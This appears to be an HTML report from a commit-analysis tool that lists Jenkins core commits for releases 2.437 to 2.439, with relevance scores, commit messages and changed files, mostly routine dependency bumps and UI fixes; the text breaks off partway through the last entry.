    • + + bom/pom.xml + + cli/pom.xml + + core/pom.xml + + coverage/pom.xml + + pom.xml + + test/pom.xml + + war/pom.xml + + websocket/jetty10/pom.xml + + websocket/spi/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update babel monorepo to v7.23.7 (#8820) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.439 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 45586a4d28cf1853a3e20fbdff7c6eb6c254d0aa +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8820
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update babel monorepo to v7.23.7 (#8820) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump com.puppycrawl.tools:checkstyle from 10.12.6 to 10.12.7 (#8819)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.439 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8118d8862eaaa90d8e850fb23eab4d93d7cfa15d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8819
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump com.puppycrawl.tools:checkstyle from 10.12.6 to 10.12.7 (#8819) Bumps [com.puppycrawl.tools:checkstyle](https://github.com/checkstyle/checkstyle) from 10.12.6 to 10.12.7. - [Release notes](https://github.com/checkstyle/checkstyle/releases) - [Commits](https://github.com/checkstyle/checkstyle/compare/checkstyle-10.12.6...checkstyle-10.12.7) --- updated-dependencies: - dependency-name: com.puppycrawl.tools:checkstyle dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72466] Upgrade jbcrypt dependency (#8811) JENKINS-72466:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.439 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3597db8e13f8fd5ef5309b31ef55eb8121663a6b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8811
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72466] Upgrade jbcrypt dependency (#8811) JENKINS-72466: Upgrades jbcrypt dependency
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + + core/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-71666] Adapt to Popper deprecation in Jenkins core (#8810)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.439 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c878487461f1e535e39766893636f2bbf88becc0 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8810
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-71666] Adapt to Popper deprecation in Jenkins core (#8810) Removed deprecated popper2-api from war/pom.xml
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump slf4jVersion from 2.0.9 to 2.0.10 (#8809) Bumps `slf4jVersion`... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.439 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2ac59590a6a5021228936a239154300b425a6d8d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8809
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump slf4jVersion from 2.0.9 to 2.0.10 (#8809) Bumps `slf4jVersion` from 2.0.9 to 2.0.10. Updates `org.slf4j:jcl-over-slf4j` from 2.0.9 to 2.0.10 Updates `org.slf4j:log4j-over-slf4j` from 2.0.9 to 2.0.10 Updates `org.slf4j:slf4j-api` from 2.0.9 to 2.0.10 Updates `org.slf4j:slf4j-jdk14` from 2.0.9 to 2.0.10 --- updated-dependencies: - dependency-name: org.slf4j:jcl-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:log4j-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-api dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-jdk14 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency sass to v1.69.6 (#8816) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.439 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a82e94b05b56193066d85a17065440084fd62552 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8816
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency sass to v1.69.6 (#8816) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Run GH actions release artifact uploader with JDK 17 (#8813) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.439 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f4095698966cd901681241e994e872846429211d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8813
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Run GH actions release artifact uploader with JDK 17 (#8813)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/publish-release-artifact.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency postcss-loader to v7.3.4 (#8812) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.439 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2e267453eb7530848df3a4b75774136446e280b5 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8812
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency postcss-loader to v7.3.4 (#8812) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency stylelint to v16.1.0 (#8804) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.439 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 69e20dbbaf70c92c8daabf0327144483a936a667 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8804
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency stylelint to v16.1.0 (#8804) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency sass-loader to v13.3.3 (#8808) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.439 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ee7ec9f430f778a9a0447e55c2119f6a961d8170 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8808
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency sass-loader to v13.3.3 (#8808) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump io.jenkins.plugins:plugin-util-api from 3.6.0 to 3.8.0 (#8801)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.438 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5ab5ad07e9847ec89bc708fff64cb6391144268f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8801
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump io.jenkins.plugins:plugin-util-api from 3.6.0 to 3.8.0 (#8801) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-71965] fix timezone in build history (#8800) *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.438 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 48da635be22e4e01d71d62a957f3b4c0803a64de +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8800
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-71965] fix timezone in build history (#8800) * [JENKINS-71965] fix timezone in build history the timezone shown was always the daylight saving time when the users selected timezone has daylight saving. The change will now consider the actual timestamp of the build to determine if it was in daylight saving time to properly calculate the timezone to show. * make locale aware
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/Functions.java + + core/src/main/resources/hudson/widgets/HistoryWidget/entry.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Restore JCasC compatibility for `JNLPLauncher.tunnel` (#8793) *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.438 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + df03159afe15788eb74bced96ce7b44dfc70788c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8793
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Restore JCasC compatibility for `JNLPLauncher.tunnel` (#8793) * Restore JCasC compatibility for `JNLPLauncher.tunnel` * Also removing `@Deprecated` on fields & getters
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/slaves/JNLPLauncher.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Remove last usages of .bigtable (#8797) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.438 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 400d5e4ce4440e159436828d7fe45dd51269592a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8797
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Remove last usages of .bigtable (#8797)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/triggers/SCMTrigger/DescriptorImpl/index.jelly + + core/src/main/resources/jenkins/diagnosis/HsErrPidList/index.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency eslint to v8.56.0 (#8789) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.438 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 43ecf083657d0a8fc85a14f85fc70a4555eb9277 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8789
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency eslint to v8.56.0 (#8789) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump com.google.guava:guava from 32.1.3-jre to 33.0.0-jre (#8792)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.438 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8115f23fffac6ac4beda0b58572421b6485c7725 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8792
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump com.google.guava:guava from 32.1.3-jre to 33.0.0-jre (#8792) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins:matrix-project from 818.v7eb_e657db_924... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.438 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7018b14cc3f23c9415f1397ea6da22a7be280255 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8796
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.plugins:matrix-project from 818.v7eb_e657db_924 to 822.v01b_8c85d16d2 (#8796) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update the appearance of the stop button (#8780) * Init * Fixes *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.438 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 01c42a3dca39592e20f728ea8f19c67484004d07 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8780
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update the appearance of the stop button (#8780) * Init * Fixes * Update executors.jelly * Update _buttons.scss * Fix i18n * Tidy up * Fix test * Temporary fast build CI build is too unreliable and I just want an incrementals... * Revert "Temporary fast build" This reverts commit 28df8398f3e1a0a82adae7db692b8946a2e281b7. --------- Co-authored-by: Tim Jacomb <timjacomb1@gmail.com> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/widgets/HistoryWidget/entry.jelly + + core/src/main/resources/lib/hudson/buildCaption.jelly + + core/src/main/resources/lib/hudson/buildCaption.properties + + core/src/main/resources/lib/hudson/executors.properties + + core/src/main/resources/lib/layout/stopButton.jelly + + war/src/main/scss/components/_buttons.scss + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Use Jenkins modal for 'Apply' button failures (#8394) * Init *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.438 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3a1ac2cb44fd806ab92a01f6674fbe46e24d4a0c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8394
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Use Jenkins modal for 'Apply' button failures (#8394) * Init * Linting * Test fixes * Switch to dialog for simple error case --------- Co-authored-by: Tim Jacomb <timjacomb1@gmail.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/jenkins/model/Jenkins/oops.properties + + core/src/main/resources/lib/form/apply/apply.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Restyle widget panes (#8761) * Init * Update _style.scss * Remove... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + cf81b9cf935896615ff244f6d349a244f875dbff +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8761
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Restyle widget panes (#8761) * Init * Update _style.scss * Remove more bold weights * Lower weight * Tweak widths * Fix spacing --------- Co-authored-by: Alexander Brandes <mc.cache@web.de> Co-authored-by: Tim Jacomb <timjacomb1@gmail.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/src/main/scss/abstracts/_theme.scss + + war/src/main/scss/base/_style.scss + + war/src/main/scss/components/_panes-and-bigtable.scss + + war/src/main/scss/components/_side-panel-widgets.scss + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update jenkins/ath Docker tag to v5770 (#8786) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7a2e389f0d8d1e0f2b894f5fdfba1568bc153305 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8786
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update jenkins/ath Docker tag to v5770 (#8786) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ath.sh + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + EOL `Global-Mask-Classes` (#8785) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3f1880179c7476e23a9d6dd9c8ad8f8ef336cae6 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8785
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      EOL `Global-Mask-Classes` (#8785)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/ClassicPluginStrategy.java + + core/src/main/java/hudson/util/MaskingClassLoader.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update babel monorepo to v7.23.6 (#8782) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c4b9e81b609bf88f7fe051215ffed15d0a6a7e27 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8782
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update babel monorepo to v7.23.6 (#8782) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump actions/upload-artifact from 3 to 4 (#8784) Bumps... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2cdf80166ed41223fcf3b9a8b29fde9d31cd983f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8784
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump actions/upload-artifact from 3 to 4 (#8784) Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 3 to 4. - [Release notes](https://github.com/actions/upload-artifact/releases) - [Commits](https://github.com/actions/upload-artifact/compare/v3...v4) --- updated-dependencies: - dependency-name: actions/upload-artifact dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/changelog.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins:junit from 1240.vf9529b_881428 to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8be599a9730726b933969115d72d4c6f0d42cc8b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8781
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.plugins:junit from 1240.vf9529b_881428 to 1252.vfc2e5efa_294f (#8781) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency stylelint to v16.0.2 (#8783) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9defb96b1650782fc29517415c10d7275a2daa1d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8783
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency stylelint to v16.0.2 (#8783)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72449] Specify that no fallback to the default locale... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 259ccc06fb01cbe5d2eb3a4bd232a49fefd835a5 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8776
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72449] Specify that no fallback to the default locale should be used when looking up a resource bundle via `I18n` action. (#8776) [JENKINS-72449] Specify that no fallback to the default locale should be used when looking up a resource bundle When running the JVM with a default locale that is not english, the resource bundle lookup for english would return a bundle with that default locale, instead of using the "default" that is english. Also changed bundle resolution to use uberClassloader rather than iterating on all plugin classloaders
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/jenkins/util/ResourceBundleUtil.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Logging improvements to `Run` related classes (#8777) Logging... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 302e6ac2d1b64ea9035b00ab9fe79685dbf0aa68 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8777
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Logging improvements to `Run` related classes (#8777) Logging improvements to Run related classes
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/Run.java + + core/src/main/java/hudson/model/RunMap.java + + core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72288] fix nested job link in mobile view (#8765)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + cc4e8e72e0a4e33c03d94b8fa4bfdd485a377ac2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8765
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72288] fix nested job link in mobile view (#8765) [JENKINS-72288] fix inested job link in mobile view when a view contains jobs that are from a nested folder, the links where not properly calculated.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/lib/hudson/projectView.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72443] Do not show copy option without visible items... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7df7ae4a85d2f6409aebdeee2bc1cd0719bd76fb +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8763
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72443] Do not show copy option without visible items (#8763) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/model/View/newJob.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + show node monitors on agent page (#8725) * show node monitors on... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.437 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 64dc3844b573c5efd5613b0f4498a18fceeb7443 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8725
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
